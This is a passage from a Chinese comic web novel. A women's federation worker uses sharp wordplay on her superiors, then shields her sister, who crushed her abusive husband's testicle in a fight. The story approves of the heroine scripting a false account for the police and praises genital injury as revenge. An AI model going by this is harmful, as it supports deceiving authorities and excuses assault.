宋知南啧了一声,摇头叹气,拉长声音:“唉——” 王登:“……” 王登觉得对方这反应明显不是在夸他,不悦地问道:“宋同志,你这是什么意思?我写得不好?” 宋知南把稿子还回王登:“王同志,你写的稿子应该你去演讲。我的嘴讲惯了好东西,适应不了这种水平的稿子。” 杠精值加30。 王登听罢,一股邪火直往上窜。 他压着怒火,一脸严肃地说:“宋同志,我也不想给你写稿, 但是领导布置任务, 我必须得完成。这是孙主席交给你的任务, 你也必须得完成。” 宋知南正色道:“上次也是孙主席交给我的任务。” 王登顿了一下,飞快地替领导找补:“孙主席上次的决定出发点是好的, 用心良苦, 只是没料到大家对你看法太多,导致负面影响扩大化。还有,你交上来的稿子跟你演讲的实际内容有出入。让你再演讲一回,也是让你将功补过。”宋知南演讲时临时增加了很多内容。 宋知南:所以讲好了,是领导的功劳;讲不好是她的责任。 宋知南不是官,但也有官腔。她不是老登,但也可以有登味。 她一脸深沉地说:“王同志, 你这么说就大错特错了。你看问题太浅太片面了。就比如说现在这个事情,下面的人民群众在盯着, 上面的领导也在关注着,中间的干部干事们也在看着。当时是孙主席和厂委的领导一力主张我去演讲的,效果好时,功劳是领导的。现在有了那么一丁点的负面影响,你就跟我暗示,说负面影响是我一个人的。 你让下面的群众、上面的领导、中间的同事怎么看?他们是不是得说孙主席担不起责任?以后孙主席下达任务,谁还敢尽心尽力?这不是损害孙主席的威望和名声吗?王同志,你这秘书当得不合格啊。唉,男同志果然就是粗心大意,局限性太大,想得不够远。” 杠精值加60。 王登沉默片刻:“宋同志,你这话不对,你听我说……” 宋知南继续跟对方进行魔法对轰:“你这话又大错特错。我哪里说得不对了?我说得非常对。当然,以你目前的水平和见识来说,你可能很难理解我的话。” 杠精值再加30。 王登再次沉默了。他活了三十年,绝对没有见过宋知南这样的人。 王登忍了再忍,继续问道:“那你说说,这位因你的演讲而被剪掉那什么的男同志应该怎么办?” 宋知南反问道:“为啥别的男同志没被剪,就他被剪了?肯定是他做错了什么。领袖说过,这世上没有无缘无故的爱,也没有无缘无故的恨。他媳妇能无缘无故地剪他吗?” “我们女同志一般心软胆小,若不是被逼得实在没办法,谁去干这事啊。 还有就是,他只是被剪掉了一样东西而已,也不耽误劳动不耽误生活,还省掉了很多麻烦,我希望这个人能振作起来。大家不都说,男人都大气嘛,这点小事算不得什么。 王同志,你去劝劝这位同志,让他想开些,心胸放宽些。让他想想人家司马迁,被割了照样写《史记》。” 杠精值30。 王登咬着牙说:“那你去劝吧,我劝不了。” 宋知南严肃地说:“王同志,遇事不要找借口,要找方法。我们当干部的就要不怕牺牲,排除万难。以我看,这是个做思想工作的好时机。你好好想一想,这件事说明了什么?又反应了什么?” 杠精值30。 王登语气生硬:“你自己好好想吧,我什么也想不出来。” 宋知南安慰王登一句:“这也很正常,你想开点吧。那就今天的谈话就到这儿吧。” 宋知南喜滋滋地跟王登告别,今天收获很大。 能说会道的王登铩羽而归,碰了一鼻子灰,他回去处就运用熟练的语言艺术告了宋知南一状。 孙主席一听,脸色当时就沉了下来。这个宋知南果然是个刺儿头。 他沉声说:“你去把她叫过来,我亲自跟她说。” 王登得意洋洋地过来通知宋知南:“孙主席让你过去,他要亲自给你做思想工作。” 宋知南面带笑容:“孙主席一定是想安慰我,他真是个好领导。” 王登无言以对,年轻人就是自信。 宋知南再次安慰王登:“王同志,你肯定被批评了吧?没关系的,你以后习惯了就好了。以你目前的工作水平来说,领导批评你是为了让你进步。” 杠精再加30。 王登咬着牙说:“我谢谢你,你赶紧进去吧。” 宋知南走进孙主席的办公室时,里面还有其他人,孙主席不主动赶他们,他们就硬杵着不走,八卦的渴望让他们暂时忘了分寸。 孙主席面沉如水,威压阵阵。宋知南丝毫不惧地大步走进去。 领导的脸就像娃娃的脸,说变就变。上过班的人都知道,大家对领导就要像对待孙子一样宽容慈悲,哪怕他们再无理取闹,你也要笑眯眯地看着他。他在闹你在笑,多么的奶慈孙孝。 孙主席沉着脸对宋知南说:“小宋,我让小王给你做思想工作,你很抗拒?” 宋知南冷静地说道:“孙主席,我没有抗拒。我觉得王同志可能没有完全传达我的意思。我想说的是,我之前的演讲是孙主席促成的,您的出发点是好的,效果也是不错的。只不过是现在出现了一点点瑕疵而已。您经常当领导应该知道,这世上就没有完美的事,任何事情无论你提前规划得多好,想得多周全,最后都会出现那么一点问题。我们无产阶级就是要不怕犯错,错误是通向正确的必然之路。” 杠精值60。孙主席的杠精值比王登高一倍。宋知南双眼晶亮地看着孙主席。 孙主席觉得莫名其妙,只能端着领导的架子继续往下说:“这个问题不是个小问题,它的影响很不好。” 宋知南说:“我觉得这事的影响是有点不好,但我们也不必太过慌张。相反,它还有警示意义。 它警示男同志一定要善良,要善待媳妇。你今天管不住自己家暴的手,明天你媳妇就管不住自己握剪刀的手。你一打,她一剪,你说还有完没完?大家好好地过日子不好吗?这也正应了我演讲里的那句话,警钟为谁而鸣?警钟就为这些男同志而鸣。” 杠精值加60。 办公室里的空气突然安静下来。 孙主席用威严的目光看着宋知南,宋知南坦然无惧地迎上去,她再侧头看看大家伙,身体前倾鞠躬谢幕:“以上,就是我想说的话,谢谢大家。” 孙主席只觉得脑壳痛,他无力地摆摆手:“小宋啊,你回去吧,演讲就停下吧。” 宋知南:“好的,谢谢孙主席的鼓励。” 宋知南心情颇好,脚底生风地离开了。回来的路上有人询问,她一律面带微笑地回答:“孙主席夸我讲得好,鼓励我好好干。” 大家伙面面相觑:真的假的? 这一下午大家伙的思想挺混乱的,有人说孙主席批评宋知南了,宋知南却说领导鼓励她了;孙主席面沉似水,心情不虞。宋知南面带笑容,平静如常。他们觉得这情况咋看咋不正常。 宋知南:奶奶宠孙子就得这么宠,孙子任性胡闹,你就只管微笑。别人问你孙子好不好,你一律回答很好很孝。她虽然不婚不育,但她的孙子满天下,她是个慈祥宽容的好奶奶。 宋知南微笑到下班,准时下班回家。喂猫喂狗做晚饭,吃完饭看书洗漱一条龙,她正准备关灯睡觉,就听见有人在用力敲门,黑米在屋里汪汪大叫。 宋知南纳闷是谁这么晚了还来找她,她穿好衣裳,拿着手电筒,在门里先问是谁。 门外传来了宋知夏慌乱急切的声音:“是我,三妹,你开开门好吗?” 宋知南打开了门,用手电筒一照,就见宋知夏披头散发,鼻青脸肿。 宋知南先让她进来,重新插上大门,这才问道:“你这是怎么了?你跟陈安华那个丑货打架了?” 宋知夏哽咽着点头:“打了。” 等到两人进屋后,宋知夏再也支撑不住,哭哭啼啼地说起了事情的经过:“我自从嫁到陈家,就没过过几天消停日子。他妈外表精明内里刻薄,他爸也不是啥好东西,老东西简直不像个男人,磨磨唧唧,小气扒拉,跟个老娘们似的。” 宋知南打断宋知夏:“别什么缺点都往女人身上扯,男人磨叽就是磨叽,他怎么样男人就怎么样。” 宋知夏顿了一下,没有跟宋知南抬杠,接着说:“今天吃晚饭时,安华爸妈一起挑剔我饭做得不好吃,我反驳了几句,这两个老东西就一起教训我,安华也站在他们那边。我气得连饭都没吃,就回屋去了。 陈安华回屋后不但不安慰我,还说我不懂事,说我嫁到他们家是高攀,心里也没个数。我瞧着他那张丑脸,一股邪火就窜了上来,我高攀他大爷的,我长得虽说不上多漂亮,但也从来没人说我丑。我嫁给他这个丑货本来就是将就,结果反倒成了我高攀了。说好的结婚后给我安排工作,现在他们黑不提白不提,就那么一间小破房子,房子也不隔音,谁路过我们房前都得贴着耳朵去听听动静,我憋屈死了。” 宋知夏絮絮叨叨,宋知南见她说半天没说到重点,就问道:“后来他对你动手了?” 宋知夏擦擦眼泪:“嗯,我们俩吵着吵着就推搡起来,他先推我,我也还手了。当时我心里憋着火,又想起了林六宝和你的演讲,脑子一蒙,就鬼使神差地捏住了他的……”宋知夏说到这里突然尴尬地卡住了。 宋知南点头:“捏坏了蛋?几只?” “啊?”宋知夏有些跟不上妹妹的思路。 宋知南无奈地说:“我问你捏碎了几只蛋?两只还是一只?” 宋知夏红着脸疑惑地问:“你 、你咋知道得那么清楚?” 宋知南有点烦了:“我咋知道的是重点吗?我是在帮你梳理事情的经过。” 宋知夏这才回过神来:“哦,应该是捏坏了一只吧,也有可能是两只,我也没注意。” 宋知夏忐忑不安地问道:“知南,你说我会不会有事?林六宝剪断了秋实的那里都没判刑,我应该也不会判吧?” 宋知南肯定地说:“放心吧,没事的。到时你就一口咬定陈安华嫌你在床上古板无趣不热情,硬逼着你搞夫妻情趣。因为你是第一次干这事,不熟练,捏得太用力了,就捏碎了。” 宋知夏红着脸重重地点头。 见妹妹语气这么笃定,宋知夏的心放下去一半。 她还有别的担忧:“我干出这种事,陈家不会放过我的,我怕他们一家三口合起伙来打我,就赶紧跑了。我本来想回娘家,可是又觉得爸妈不会帮我,说不定还会帮着他们骂我打我。大姐家离得太远,我无处可去,就厚着脸皮跑你这儿来了。” 宋知夏说起来有些不好意思,妹妹在家受委屈时,她不敢帮忙。在两人面临下乡时,她结婚先跑了。现在自己受委屈了,又想起人家来。 宋知南对宋知夏既无血缘上的亲情也无因心灵相通建立起的友情,两人算是一起勾心斗角过的家庭同事。她跟宋冬宝一样,都是她的棋子,将来对付宋上进那俩口子,他们俩有可能会成为她的帮手。以前她们有利益冲突。现在,自己脱离出宋家单干以后,两人之间的利益冲突会越来越少,甚至以后有可能会结成利益同盟。 宋知南决定对宋知夏摒弃掉个人感情和好恶,单从大局和利益上考虑。 想到这里,她继续开始洗脑策反大业:“唉,我单知道咱爸妈对我没感情,没想到他们对你也一样心狠。所以,在咱们家里,只要是女儿就都是外人,跟你乖不乖巧没有关系。” 宋知夏没反驳,嗯了一声。 宋知南继续质疑:“他们以前老说娘家是咱们的依靠,就是这种依靠?你在婆家受了委屈都不敢回去,这叫哪门子的依靠?” 宋知夏重重地叹了口气,目光茫然:“娘家靠不住,男人也靠不住,那你说,咱们女人到底能靠谁呢?” 宋知南:“很简单,靠咱们自己呀。” 宋知夏不确定地问:“就靠自己?” 宋知南点头:“对啊,除了自己,你还能靠谁?靠山山倒,靠水水跑。你靠着墙墙也会倒。靠男人,还不如靠条狗呢。狗狗多单纯,我家的黑米每晚会看家,吃得不多睡得警醒,有危险它先出声。从不对我龇牙也不跟我抬杠,还没有狗爸狗妈烦我,它连发、情都是季节性的,男人能比吗?” 黑米听到主人提到自己的名字,赶紧摇着尾巴回应。 宋知南指着黑米说:“你看,我一叫它名字,它就给我回应,你叫男人试试,一叫一个不吱声。你就说吧,他们怎么跟狗比?” 宋知夏目瞪口呆,接不上话来。 第62章 宋知夏想了一会儿, 接着问:“那我下一步咋办?我要回陈家,他们一家子不得撕吃了我?” 宋知南考虑一会儿, 说道:“这样,你先在我家住一晚。明天中午,你去通知冬宝,让他放学后来我家,等我下班,咱们一起去陈家。我代表咱们家去跟他们谈判。” 宋知夏一脸惊喜:“三妹,你真的愿意帮我?” 宋知南:“那当然,你毕竟是我亲姐。” 宋知夏动容地吸了吸鼻子:“三妹,以前是我对不起你。我太自私了,只为自己着想。” 宋知南大度地说:“我这人比较宽容大气,而且恩怨分明。以前, 你跟我一样, 在家里没有一丁点权力。你虽然没帮过我, 但也很少落井下石。我对你有怨气但并没有仇恨,不像对宋秋实那样充满恨意。你只要以后凡事多为我着想, 在我跟家里发生冲突时站在我这边, 我就原谅你。” 宋知夏考虑了一下,她现在已经脱离了娘家,跟妹妹也没有什么可争的,站在她这边对自己并无坏处,相反还有很多好处。 权衡利弊之后,宋知夏果断地说:“三妹,只要你帮我度过这一关, 我以后会真心对你好,爸妈算计你对付你, 我也会站在你这边。咱们姐妹一定要团结起来。” 两人迅速达成一致协议。 宋知南一看时间不早了,说道:“隔壁房间有床,堂屋里也有一张小床,你想在哪儿睡?” 宋知夏可没忘记这栋房子前不久发生的事,多少还是有点阴影,她小声说:“我能跟你一起睡吗?” 宋知南摇头:“不行,我不习惯跟别人挤一张床,那你就睡堂屋的小床吧,咱俩离得近,屋里还有狗。” “行吧。” 宋知夏这一夜的睡眠就跟婴儿一样,时睡时醒,醒来还想哭。 里屋的宋知南睡得很沉。次日醒来,她伸伸懒腰,推门出去,就见堂屋的饭桌上已经摆好了早饭:小米红薯粥、韭菜鸡蛋馅饼、咸菜丝。 粥还在冒着热气,馅饼刚出锅,空气中散发着一股好闻的面香味。 宋知夏手里端着一盘馅饼进来说道:“我看你院里的韭菜可以吃了,就给你烙了馅饼。” 宋知南凑到盘子前嗅了一下,一脸满足:“闻着就香,有姐姐可真幸福。” 宋知夏心满意足地笑了,笑完她又忍不住暗暗感慨,她们姐妹好像很少有这么和谐的时候。 宋知南洗漱完毕,坐下来开始吃饭,她见宋知夏还在发呆就说:“你也赶紧吃,相信我,没事的。你别忘了你妹妹我是干吗的,我是妇联的,专门调解矛盾的。” 宋知夏点头:“好,我相信你。” 宋知南吃完早饭,还不忘给何黛带两张馅饼。 她临走时嘱咐宋知夏:“我把钥匙给你,你就在我家呆着,除了书房,你可以自由活动,记得帮我喂一下猫狗,中午你自己做饭吃。” “嗯嗯,你放心。” 宋知南上班去了,一到办公室,就给了何黛一个惊喜。 两人经常互相分享吃的,何黛也不客气,满脸欣喜地接过馅饼:“谢谢南姐。”本来宋知南比何黛小,但她坚持要当姐,何黛也就随她去了。 上午来了几组来访人员,但人家点名不要宋知南调解,宋知南乐得个清闲,甚至为了给他们腾地方,她还到门口去晒了会儿太阳。 宋知南一边眯着眼睛晒太阳一边琢磨着下午怎么跟宋和夏和陈丑丑调解。 何黛这一上午说得口干舌燥,内心烦躁。宋知南偷得半日闲。 中午吃饭午休,下午的工作仍没有用到宋知南,弄得她都有些不好意思:“阿黛辛苦你了。” 何黛有气无力地说:“没事没事,你平常忙的时候我也在闲着,咱俩谁跟谁呀。” 现在她们俩因为性格和调解风格不同,已经发展成各有各的客户群体。 想要温和派的就找何黛,想要激进一些的就找宋知南。一般来讲,只要是夫妻一起来的,男的坚决不找宋知南。任何一个进来的男同志都不自觉地对宋知南充满了警惕和戒备。 宋知南完全不在乎,人民币还有人不喜欢呢,何况是她。再说了,要是男同志们一起夸她,那她这辈子就完了。不用说,她肯定是个大冤种和大血包。 宋知南下午还没下班,宋知夏就迫不及待地跑来了。 她把宋知南叫到门外说:“完了,我公公婆婆到处找我,爸妈都在上班,但这会儿肯定也知道了。公安都来了,邻居通知我必须回去。怎么办知南?” 宋知南安抚道:“没事,公安来就来,记住我昨晚说的话。” 宋知南想了想,宋知夏也是她辖区的群众,理应归她管,她现在去是在工作。 于是她便对何黛说:“阿黛,我姐跟我姐夫打架,我要去调解矛盾,贺主任来了,你跟她说一声。” 何黛惊讶地张了张嘴,随即爽快答应:“行,那你快去吧。” 宋知南拿上调解记录本,带着宋知夏一起去陈家。 她俩到陈家的时候,陈家里里外外全是人。堂屋里还有两个公安,一个岁数大的,一个小年轻。 宋知夏一见了公安,就忍不住害怕紧张。 宋知南推着她进去。 陈安华的父母王桂兰和陈志国一看到宋知夏,眼睛都红了。王桂兰嗷地一声冲上来要挠宋知夏:“宋知夏,你这个不要脸的毒妇,你毁了我儿子!” 陈志国也用阴狠的目光瞪着宋知夏,并对两位公安说:“公安同志,她就是我儿媳妇宋知夏,她捏破我儿子的蛋,是不是得判刑和赔偿?” 宋知南看了宋知夏一眼,示意该她说话了。 宋知夏在妹妹的鼓励下,慢慢有了勇气,她想起妹妹昨晚的话,未语泪先流,一边哭一边说:“公安同志,这事就是个意外。我男人他、他嫌弃我在床上呆板无趣,想要跟我搞点夫妻情趣。我是新媳妇,以前哪经过这种事儿?手上动作生疏,手劲大了点,一不小心就捏坏了一只……” 门外的议论声响和笑声一齐响了起来。 年纪大的公安见多识广,还能勉强崩住。那个小年轻没崩住,噗嗤一声笑了出来。 见到公安都笑了,门外听众的笑声更加放肆,宋知夏愈发窘迫不安。 恰在这时,宋冬宝听到消息也赶过来了。 他一来就咋咋呼呼地嚷道:“二姐,你别怕,我来帮你了。三姐你也来了。” 宋知南觉得该自己出场了,就挤到公安面前,严肃地说:“公安同志,我是妇联办公室的宋知南,前来调解矛盾。我觉得这事很简单,就是简单的夫妻矛盾。男方非要玩游戏,女方动作不熟练不小心玩过头了,也没造成轻伤重伤,只是个皮外伤。我们对夫妻双方教育一番就可以了。” 年轻的公安同志诧异地看着宋知南:“小同志,妇联派你来调解这种矛盾?” 宋知南明白对方想说什么,她不满地看了这人一眼,义正词严地说:“这位同志,你这话说得就不对,这种矛盾怎么了?我们是在工作,哪有那么多讲究和忌讳?工作就得公事公办,不能有那么多私人感触和想法。难道你到医院看男科遇到女医生和女护士就不看了?” 门外的人群再次爆发出一阵笑声。 杠精值加50。 年轻公安的脸微微一红,飞快地解释道:“我没看过男科。” 宋知南:“我怎么知道你看没看过,你怎么证明?” 老公安用锐利的目光扫了宋知南一眼,淡声说:“这位妇联的同志,你这个问题不在我们的工作范围内,他也不需要向你证明他看没看过男科。” 宋知南点头:“他刚才的那个问题也不在我的工作范围内,我就是想告诉你们,咱们是公对公,不是私对私。而且你们身为公安,办案须谨慎,思想要解放,不要心里全是条条框框。” 杠精值加100。 王桂兰一看宋知南还敢帮宋知夏说话,新仇旧怨累积在一起,她阴阳怪气地说:“宋知南,你说你一个未婚的小姑娘,当着大家的面讨论这个问题合适吗?” 其他人也是这么认为的,哪有小姨子当众讨论姐姐姐夫房里的事的。 他们看向宋知南的目光都带着异样和揶揄。 宋知南理直气壮地说:“哟,你们也知道不合适啊,那你们为啥把事闹得这么大?你不嫌你儿子丢人吗?你们要不闹,我能知道吗?你们陈家真不是个东西,自己不要脸在先,还有脸指责别人。真是有其父母必有其子。什么玩意儿能一捏就碎,不知道的还以为是鸡蛋呢。” 杠精值加10。 宋冬宝附和道:“就是,哪个好男人的蛋一捏就碎,说不定我姐夫就是不行。” 陈志国气得说不出话来,抬手就要打宋冬宝。两位公安赶紧出言制止。 这时候,宋上进和李玉华也来了,宋上进一看儿子要被打,立即大声制止:“亲家,你这是干吗呢?” 陈志国和王桂兰一看宋上进夫妻俩来了,立即气势汹汹地上前理论:“亲家,中午的时候,我已经跟你们把情况说清楚了,你们俩就说这事怎么办吧?” 宋上进说道:“亲家,我说过,我会给你们一个交代。” 说着,他的目光在人群中搜寻着,看到宋知夏,厉声道:“知夏,你给我过来。” 宋知夏一看她爸这种架势,就知道自己要挨打了。她不由得瑟缩一下,用求救的目光看着宋知南和宋冬宝。宋冬宝毫无察觉,宋知南敏锐地感知到了。 宋知南考虑片刻,一个箭步冲上去,把宋知夏挡在自己身后,说道:“爸,你想干吗?我姐在婆家受欺负了,你不给她撑腰就罢了,还要动手打她?你是亲爸吗?” 杠精值加5。 宋上进怒吼道:“这里没你的事,你给我回家去。” 宋知南毫不畏惧:“怎么就没我的事了?她可是我亲姐。” 杠精值加5。 宋知夏听到“她可是我亲姐”时不由得心生感动,虽然她们以前总是吵吵闹闹,总是为蝇头小利争执,可她们毕竟是亲姐妹。关键时刻,还是这个妹妹护着自己,反观她这个当姐姐的太不称职了。 宋知夏想了想,自己捏坏了陈安华的蛋,以公公婆婆的性子肯定不会善罢干休,不让他们出口恶气,这事没完。 她咬着牙,大着胆子从宋知南背后站了出来,像慷慨就义的壮士一样,悲壮地说道:“爸,我错了,你打我吧。” 宋上进觉得自己必须得跟陈家一个交代,抡起巴掌就向宋知夏脸上扇去。宋知南假装去拉姐姐,往前一个趔趄,把陈志国推到了宋上进身边,宋上进的巴掌啪地一下打在了陈志国脸上。 现场一片寂静。 第63章 陈志国无端挨了一巴掌, 气得丑脸扭曲变形,他反应极快, 用尽了力气,啪地一下又打回去了。 宋上进一看打错了,本想立即道歉,可惜话还没说出口,脸上先挨了一巴掌,气得他歉也不道了,立即选择再打回去。两个男人扭打在一起。 王桂兰和李玉华赶紧上去拉架。 宋知南瞧着这两人没有章法地过招,一边看戏一边摇头:“都说三个女人一台戏,这两个男人就是一台武打戏啊。” 她在津津有味地看戏,一旁的宋知夏却在发呆,本来以为自己要挨打, 怎么一转眼公公和爸打起来了? 宋知南把仍在状况外的宋知夏拉到安全范围外, 悄声说:“你机灵点, 躲远点,怎么跟个傻子似的?” 宋知夏呆呆地回应了两声:“哎哎。” 陈志国和宋上进没过招几个回合就被两个公安给制止了。 两人被拉开时嘴里仍骂骂咧咧的。 双方的父亲都打起来了, 一直装睡养伤的陈安华也没法再睡下去了。他佝偻着腰龇牙咧嘴地慢腾腾地从里屋挪出来。 他一出来, 大家的目光刷地一下都集中到他的双腿之间,明知道看不见什么,可眼睛就是忍不住想往那里看。 陈安华又窘又怒,恨不得找个地缝钻进去。 他大声说道:“把人都轰出去,关上门。” 王桂兰明白儿子的顾虑,赶紧把邻居往外轰:“公安办案,闲杂人不能进来, 赶紧出去。” 邻居们心不甘情不愿地往外挪去。 王桂兰赶了几回,大家伙终于被赶走了。她关上门, 打开客厅的灯。陈家的客厅不大,这下显得更小更挤。 两个公安和陈安华坐着,其余人站着。 老公安问陈安华的伤势如何要不要去医院,陈安华有气无力地说:“伤得有点严重,明天再去医院。公安同志,你们得为我做主。” 王桂兰和陈志国附和儿子的话:“对,你们得为我们做主。” 老公安看了一眼宋上进夫妻,又问陈家三人:“你们有什么诉求?” 王桂兰很干脆:“赔钱,必须得赔钱。我们要宋家赔我们500块钱。” 李玉华尖声道:“500块钱?你儿子值500块吗?你把我杀了卖肉算了。” 王桂兰指着李玉华:“你们教的好闺女,一嫁进来就好吃懒做,牙尖嘴利,现在还弄出这事儿,脸都被她丢光了。我让你们赔500都是轻的。你们必须得赔,你要不赔就把闺女领回去,把彩礼和酒席钱退回来,我还要去法院告你们,让你闺女坐牢。” 宋知夏的脸色变得煞白煞白的,不知所措地站在那儿。 宋知南在旁边大声问:“王婶,你这意思是要让你儿子跟我姐离婚?” 王桂兰懒得搭理宋知南,眼睛都不往她这儿看一眼,高声回答:“就是这意思,这样的祸害谁家敢要,我们陈家眼瞎才娶了她。” 宋知南冷冷地说道:“王婶,你可要想清楚,你儿子已经不是个完整的男人了,长得又丑,你们两口子又这么难缠,离了婚,以后谁敢要他?人家图他啥?图他长得丑能辟邪?” 杠精值加15。 这句话同时刺激了陈家三口,陈安华疼着疼痛站起来,指着宋知南骂道:“你说谁不是完整男人?你不会说话就给我闭嘴。” 王桂兰和陈志国一起对宋知南怒目而视。 宋知南不急不怒,耐心讲道理:“你听我跟你们讲,夫妻之间哪有不闹矛盾的。你们这是打闹时意外造成的小伤,我姐又不是故意的。我来之前问过医生,医生说这种情况一般都是男人的零部件不结实才破的,人家正常的捏都捏不碎。” 陈安华气得丑脸扭曲,大喝一声:“宋知南——” 陈志国和王桂兰也一起喝止她。 宋知夏怯怯地走到陈安华面前,低声认错:“安华,我错了。我保证,以后再也不捏你了,咱们别闹了好不好?” 尽管这桩婚姻让她失望,尽管她越看陈安华越不顺眼,但她现在没有办法,她没有工作,娘家也不可能回去长住,她无处可去。只能先赖在陈家,等以后再说。该认错时就认错,面子再大也大不过生存。 陈安华冲宋知夏怒吼:“你给我滚,我不想看见你这个毒妇!” 宋知夏眼泪汪汪地看着陈安华,试图用自己的柔弱打动他。 搁以前,陈安华没准吃这套,现在不行了。因为他尝试过宋知夏的狠。这个女人就是装柔弱。还有她那个妹妹,看着也挺文静,结果呢。宋家的女孩子就没一个善茬。 宋知南拉着宋知夏,好声劝道:“姐,既然人家都这么说了,咱就算了。离就离吧。反正姐夫那里也坏了,他不是个完整的男人了,你要他也没啥用。你回去跟我一起住,我家缺个做饭的。过段时间,我再给你介绍一个,反正你长得又不丑,要求又不高,连陈安华都能将就,找别人也能将就。” 说着,她用指甲掐了一下宋知夏的手心,宋知夏会意,立即顺着妹妹的话说:“那算了,是我对不起安华,他要离婚就离吧,大不了我也下乡去,大不了我一辈子不回来了。” 宋知夏一坚定,陈家那边反而犹豫起来了。 陈志国和王桂兰悄悄对视一眼,他们儿子的蛋被捏坏了,也不知道以后能不能行。要是真不行了,他就得打一辈子光棍,他们陈家将成为别人的笑柄。宋知夏这个女人心眼多心狠是不假,但也是他们花钱娶回来的。以后好好管教就是。 陈志国思索片刻,突然说道:“亲家,咱们好好商量商量,你让你三闺女出去。” 宋知南爽快地说道:“行行,我走。”说完,她看了一眼宋知夏示意她跟上。宋知夏乖乖地跟着她出去了。 她俩一开门,险些把扒在门上偷听的邻居闪趴下。 王桂兰在屋里骂了一句:“你们真是闲的发慌。” 邻居们嘻嘻哈哈地跑开了。 宋知南姐妹们俩一出来,门砰地一声又关上了。 邻居们双眼发亮地盯着姐妹俩,就想从她们身上打听点什么。 宋知南用热切的目光看着大家:“陈家要我家赔500块钱,我们家没有,你们这么热心,一人捐给我家一块钱呗。” 众人“嘁”了一声,没一个人回应。 宋知南继续说:“一块钱都没有,那给两毛总行吧?”还是没人搭理她。 宋知南呸了一声:“真抠门。” 因为她逮谁找谁要钱,大家都避而远之,她俩倒是清净了。 宋知夏一脸茫然:“三妹,你说我以后该怎么办呀?” 宋知南语气淡然:“人生的路得自己走。” 宋知夏喃喃说道:“我真羡慕你,有工作有房子。发生啥事都不怕。我能去哪里呢?” 她从小就被爸妈告知,娘家不是她的家,她跟宋秋实和宋冬宝吵架时,他们威胁要赶她出去。她一直没有安全感,总觉得到了婆家就有家了。结了婚一看,婆家跟娘家一样,都不是她的家。她不知道自己的家在哪里? 宋知夏突然抓住宋知南的手,像抓住救命稻草似的:“三妹,如果陈安华真要跟我离婚,你收留我好不好?你放心,我不会吃白饭的,我给你做饭,给你打扫屋子,跟你学种菜。我给你当保姆,不要工钱,你管我吃住就行。以后我找到了工作,工资给你一半。” 宋知南看着迷茫脆弱的宋知夏,突然不知道说什么好了。这家伙,从小到大也是个掐尖要强的,她只有在面对父母时才是乖巧的。现在却变得如此脆弱茫然,像一只迷途的羔羊。 她突然觉得对方没有以前那么可恶了。 宋知南拍拍宋知夏的手,说:“如果陈安华真要离婚,也没什么大不了的,你正好趁机摆脱他们家。你就来给我当保姆,别的不说,你做饭水平还是挺好的。不过,我觉得他应该不会跟你离婚,毕竟他都不是一个完整的男人了。” 宋知南看得出来宋知夏现在还不想离婚,她也没劝她离。宋知夏没有工作没有住处,离了以后怎么办?她要是撺掇她离婚,以后对方过不好,埋怨她怎么办? 两家人在屋里谈判了半个小时,李玉华出来叫宋知夏,把她拉到一边嘀咕一阵,宋知夏跟她一起进了屋,刚进去一会儿,宋知夏又出来叫宋知南进去。 宋知南一进来,见双方家长的情绪还算稳定,饭桌上摊开两张纸,上面放着一支钢笔。 陈安华指着宋知夏厉声说:“宋知夏,你给我写一份保证书,保证以后再也不捏我的……蛋。” 宋知夏点头答应:“好,我写我写。” 宋知夏拿起笔,一笔一划地写了保证书:“我保证这辈子都不再捏陈安华的蛋。宋知夏,年月日。” 宋知夏刚写完,陈安华又指着宋知南说:“宋知南,你也写一份。” 宋知南一脸诧异:“为什么我也要写?我又没捏?” 年轻公安噗嗤一声又笑出了声。 陈安华语气激动:“你没捏也要写,以后你不准拿我的事演讲做报告,不准拿这事写文章。听见没有?” 看来,上次婚闹三人组和宋秋实的事给陈安华留下了很大的心里阴影。 宋上进和李玉华一起劝道:“知南你就写一份吧。” 宋知南这人有逆反心理,你越让她干啥,她越不想干。 她坚决不写,而且有理有据:“姐夫,我不写这份保证书是为了你好。你想想,我的名声和影响有多大。要是我也写了保证书,大家肯定会猜测你们家如此兴师动众,事情肯定很大。你绝对不是碎了一只,你有可能是鸡飞蛋打。这事情一传出去,以后别人会怎么看你?遇到别人的质疑,你又怎么证明自己?总不能别人一质疑,你就脱了裤子自证吧?” 杠精值加10。 众人一起沉默。 陈安华也愣住了,他看向自己爸妈。 宋知夏也赶紧替妹妹说话:“安华,我写就行了。要是我妹也写,传出去不好听。” 陈志国发话了:“宋知南,你今天就当着大家和两位公安同志的面给我们一个口头保证:你以后不拿你姐夫的事做报告写文章,否则我们家跟你没完。” 宋知南痛快答应:“行,我答应你们。” 接着,宋知南又补充一句:“你们尽管放心,这事太常见了,没啥新闻价值。我现在可不是一般的作者,我是咱们本地的名人,我只写特别有价值有意义的文章。” 敢情陈安华还不配她写文章?陈家一家三口对宋知南怒目而视。 最终的谈判结果是,宋家把陈家当初给的100元彩礼钱给退回去,宋知夏以后不准再捏蛋,陈家也不准再找宋家的事儿。 宋知南临走前还不忘替姐姐撑腰,指着陈家三人说:“我今天也把话放在这儿,这事已经了了。以后你们谁也不准再欺负我姐,你们谁敢动手,我就来踏平你们陈家。” 宋冬宝也跟着叫嚣:“你们都记住我姐的话。” 宋知南领着宋冬宝迈着嚣张的步伐走出了陈家。 宋知南回到家后,在笔记本上写道:榜样的力量是无穷的。前大嫂来个一剪没,紧接着就出现了更多的一剪没。现在又有了捏蛋派。我们女人果然善于学习和总结经验。这其中的关键是宣传,必须大力宣传。因为做这件事的人一般不会写作宣传,会宣传的不一定干这事,或者注意不到这种事。 这就是显示出她这类高知悍妇的作用了。当悍妇了有了知识,就像流氓有了文化一样,可怕又强大,就问你怕不怕? 宋家再一次名扬厂区,上次是因为宋秋实的一剪没,这次是因为宋知夏的捏蛋。这姐弟俩,都是人才,宋家净出人才。 宋上进和李玉华两人都感觉在邻居同事面前都抬不起头来,走路都想溜着墙根走。 宋秋实出院以后更是抬不起头来,天天把自己关在屋里,吃饭都要人送到屋里,而且脾气相当暴躁,一言不合就发火砸东西。 宋上进夫妻俩是焦头烂额,又担心他这样下去会出意外,他们便赶紧去找宋知南,让她去找孙主席兑现承诺。 好在孙主席说话算话,真的动用关系把宋秋实弄到隔壁河西省西阳市的纺织厂看管仓库去,只不过是个临时工。但宋家此时没有选择,临时工也比没有工作强。宋秋实悄摸摸地收拾行李离开家去西阳市报到去了。 宋上进和李玉华这才长长松了一口气。他们在西阳市没有熟人,只要秋实自己不说,没人会知道的。 